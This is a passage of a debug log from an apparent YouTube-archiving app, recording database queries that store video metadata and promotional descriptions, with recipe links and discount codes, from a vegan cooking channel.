\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Meatballs: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0is\u00A0a\u00A0MUST\u00A0TRY\u00A0(no\u00A0tofu,...\u00A0\u00A0\nLentil Bolognese: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\nLasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video for teh Bolognese):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This lentil recipe makes the BEST pizza crust", 1, nil, false, "lGuRjA8enRc", "https://www.youtube.com/watch?v=lGuRjA8enRc", "/downloads/downloads/alec/Steamy Vegan/2026-02-01 This lentil recipe makes the BEST pizza crust/This lentil recipe makes the BEST pizza crust [lGuRjA8enRc].NA", false, ~U[2026-02-01 00:00:00Z]] 20:31:06.246 [debug] QUERY OK source="sources" db=0.4ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.248 [debug] QUERY OK source="media_items" db=2.0ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-29 00:00:00Z], 1] 20:31:06.250 [debug] QUERY OK source="media_items" db=1.3ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese 5 lentil recipes are some of the best vegan recipes that I make in a month. These easy vegan recipes are low effort, gluten-free, high-fibre and great for anyone on a high-protein vegan diet. Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES FROM THIS VIDEO\nLasagna Soup 🔗 https://steamyvegan.com/lasagna-soup/\nLentil Bolognese 🔗 https://steamyvegan.com/vegan-lentil-...\nMujadara (from my Lebanese Meal Prep) 🔗 https://steamyvegan.com/lebanese-vega...\nSmokey Lentil Casserole 🔗 https://steamyvegan.com/smoky-lentil-...\nMoroccan Lentil Salad 🔗 https://steamyvegan.com/moroccan-lent...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out these other compilation episodes with some of my best recipes from 2025:\n5 Tofu Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0eat\u00A0these\u00A0tofu\u00A0recipes\u00A0ON\u00A0REPEAT\u00A0(my\u00A0bes...\u00A0\u00A0\n5 Vegan Breakfast Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\n5 Vegan Dinner Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Must\u00A0Try\u00A0Vegan\u00A0Recipes\u00A0to\u00A0Master\u00A0in\u00A02026!\u00A0\u00A0\n5 Casserole Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0vegan\u00A0casseroles\u00A0you\u00A0NEED\u00A0to\u00A0make\u00A0this\u00A0m...\u00A0\u00A0\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video for teh Bolognese):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "5 lentil recipes I eat EVERY month (and so should you!)", "3f9f043f-5ea4-444f-a797-167741353990", 1, [], false, "GGqM_gNMPjE", "https://www.youtube.com/watch?v=GGqM_gNMPjE", 18, "/downloads/downloads/alec/Steamy Vegan/2026-01-29 5 lentil recipes I eat EVERY month (and so should you!)/5 lentil recipes I eat EVERY month (and so should you!) [GGqM_gNMPjE].NA", false, false, false, 1, ~U[2026-01-29 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese 5 lentil recipes are some of the best vegan recipes that I make in a month. These easy vegan recipes are low effort, gluten-free, high-fibre and great for anyone on a high-protein vegan diet. Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES FROM THIS VIDEO\nLasagna Soup 🔗 https://steamyvegan.com/lasagna-soup/\nLentil Bolognese 🔗 https://steamyvegan.com/vegan-lentil-...\nMujadara (from my Lebanese Meal Prep) 🔗 https://steamyvegan.com/lebanese-vega...\nSmokey Lentil Casserole 🔗 https://steamyvegan.com/smoky-lentil-...\nMoroccan Lentil Salad 🔗 https://steamyvegan.com/moroccan-lent...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out these other compilation episodes with some of my best recipes from 2025:\n5 Tofu Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0eat\u00A0these\u00A0tofu\u00A0recipes\u00A0ON\u00A0REPEAT\u00A0(my\u00A0bes...\u00A0\u00A0\n5 Vegan Breakfast Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\n5 Vegan Dinner Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Must\u00A0Try\u00A0Vegan\u00A0Recipes\u00A0to\u00A0Master\u00A0in\u00A02026!\u00A0\u00A0\n5 Casserole Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0vegan\u00A0casseroles\u00A0you\u00A0NEED\u00A0to\u00A0make\u00A0this\u00A0m...\u00A0\u00A0\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video for teh Bolognese):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "5 lentil recipes I eat EVERY month (and so should you!)", 1, nil, false, "GGqM_gNMPjE", "https://www.youtube.com/watch?v=GGqM_gNMPjE", "/downloads/downloads/alec/Steamy Vegan/2026-01-29 5 lentil recipes I eat EVERY month (and so should you!)/5 lentil recipes I eat EVERY month (and so should you!) [GGqM_gNMPjE].NA", false, ~U[2026-01-29 00:00:00Z]] 20:31:06.251 [debug] QUERY OK source="sources" db=0.7ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.253 [debug] QUERY OK source="media_items" db=1.8ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-26 00:00:00Z], 1] 20:31:06.259 [debug] QUERY OK source="media_items" db=5.1ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil recipe I originally learnt from Pam Anderson's cookbook and have made several adjustments over the past year. This adaptation of her anti inflammatory Moroccan lentil soup is DELICIOUS! If you're looking for a vegan recipe that's high-protein, anti-inflammatory, gluten-free, wfpb, and just super cozy then this is the one to try!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the full recipe for this anti-inflammatory lentil soup on my blog ⬇️\nhttps://steamyvegan.com/anti-inflamma...\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "I made Pam Anderson's anti inflammatory lentil soup (and you should, too!)", "16cd25a3-722c-425c-a3b1-f77777af9bf5", 1, [], false, "zJqhL2L2GM0", "https://www.youtube.com/watch?v=zJqhL2L2GM0", 19, "/downloads/downloads/alec/Steamy Vegan/2026-01-26 I made Pam Anderson's anti inflammatory lentil soup (and you should, too!)/I made Pam Anderson's anti inflammatory lentil soup (and you should, too!) [zJqhL2L2GM0].NA", false, false, false, 1, ~U[2026-01-26 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil recipe I originally learnt from Pam Anderson's cookbook and have made several adjustments over the past year. This adaptation of her anti inflammatory Moroccan lentil soup is DELICIOUS! If you're looking for a vegan recipe that's high-protein, anti-inflammatory, gluten-free, wfpb, and just super cozy then this is the one to try!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the full recipe for this anti-inflammatory lentil soup on my blog ⬇️\nhttps://steamyvegan.com/anti-inflamma...\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "I made Pam Anderson's anti inflammatory lentil soup (and you should, too!)", 1, nil, false, "zJqhL2L2GM0", "https://www.youtube.com/watch?v=zJqhL2L2GM0", "/downloads/downloads/alec/Steamy Vegan/2026-01-26 I made Pam Anderson's anti inflammatory lentil soup (and you should, too!)/I made Pam Anderson's anti inflammatory lentil soup (and you should, too!) [zJqhL2L2GM0].NA", false, ~U[2026-01-26 00:00:00Z]] 20:31:06.260 [debug] QUERY OK source="sources" db=0.6ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.263 [debug] QUERY OK source="media_items" db=2.9ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-24 00:00:00Z], 1] 20:31:06.284 [debug] QUERY OK source="media_items" db=20.1ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Cook with me and hang out for the day as I show you realistic vegan recipes I eat in a day. If you're curious about the plant based diet, want to see what I eat in a day to gain muscle and lose weight, or just want a few laughs from this goofball then this is the place for you. Make sure to join the community below and stay tuned for weekly new recipes!\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThank you to WellBean for sponsoring today's video!\n💪🏼 Try out the WellBean Muggins & Protein Bars I mentioned in this episode!💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nI also love their peanut butter blondies and my favorite protein bar from them is their lemon poppyseed bar. Support this awesome female owned duo: Patty and Caroline are awesome and I absolutely love that they're making healthy, bean-filled goodness! 🫘\n\nRECIPES FROM MY BLOG THAT I MENTIONED IN THIS VIDEO\nLemony Tomato Beans 🔗 https://steamyvegan.com/lemony-tomato...\nVegan Sausage and Egg Breakfast Casserole 🔗 https://steamyvegan.com/sausage-egg-c...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "What I Eat in a Day (Vegan & Cheap!) High protein vegan meals 💪🏼", "f909fbf6-f024-4bb6-8f85-c69ac9525a5b", 1, [], false, "y3rVrWqP-Rs", "https://www.youtube.com/watch?v=y3rVrWqP-Rs", 20, "/downloads/downloads/alec/Steamy Vegan/2026-01-24 What I Eat in a Day (Vegan & Cheap!) High protein vegan meals 💪🏼/What I Eat in a Day (Vegan & Cheap!) High protein vegan meals 💪🏼 [y3rVrWqP-Rs].NA", false, false, false, 1, ~U[2026-01-24 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Cook with me and hang out for the day as I show you realistic vegan recipes I eat in a day. If you're curious about the plant based diet, want to see what I eat in a day to gain muscle and lose weight, or just want a few laughs from this goofball then this is the place for you. Make sure to join the community below and stay tuned for weekly new recipes!\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThank you to WellBean for sponsoring today's video!\n💪🏼 Try out the WellBean Muggins & Protein Bars I mentioned in this episode!💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nI also love their peanut butter blondies and my favorite protein bar from them is their lemon poppyseed bar. Support this awesome female owned duo: Patty and Caroline are awesome and I absolutely love that they're making healthy, bean-filled goodness! 🫘\n\nRECIPES FROM MY BLOG THAT I MENTIONED IN THIS VIDEO\nLemony Tomato Beans 🔗 https://steamyvegan.com/lemony-tomato...\nVegan Sausage and Egg Breakfast Casserole 🔗 https://steamyvegan.com/sausage-egg-c...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "What I Eat in a Day (Vegan & Cheap!) High protein vegan meals 💪🏼", 1, nil, false, "y3rVrWqP-Rs", "https://www.youtube.com/watch?v=y3rVrWqP-Rs", "/downloads/downloads/alec/Steamy Vegan/2026-01-24 What I Eat in a Day (Vegan & Cheap!) High protein vegan meals 💪🏼/What I Eat in a Day (Vegan & Cheap!) High protein vegan meals 💪🏼 [y3rVrWqP-Rs].NA", false, ~U[2026-01-24 00:00:00Z]] 20:31:06.286 [debug] QUERY OK source="sources" db=1.1ms idle=31.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.288 [debug] QUERY OK source="media_items" db=2.1ms idle=27.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 00:00:00Z], 1] 20:31:06.291 [debug] QUERY OK source="media_items" db=2.0ms idle=28.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 5 vegan casseroles are the most popular ones on my blog and I personally love to meal prep them because they're high-protein, so cozy, gluten-free, and vegan. Most of them are DUMP AND BAKE, too! Meal prep these vegan recipes and add them to your weekly meal prepping rotation. \n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCASSEROLES FROM THIS VIDEO! (Recipe links below 👇🏻)\nLentil Shepherd's Pie 🔗 https://steamyvegan.com/lentil-shephe...\nTofu Teriyaki Casserole 🔗 https://steamyvegan.com/tofu-teriyaki...\nScarpariello Casserole 🔗 https://steamyvegan.com/scarpariello-...\nChick'n Fajita Casserole 🔗 https://steamyvegan.com/fajita-casser...\nGarlicky Golden Quinoa Casserole 🔗 https://steamyvegan.com/garlicky-gold...\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: 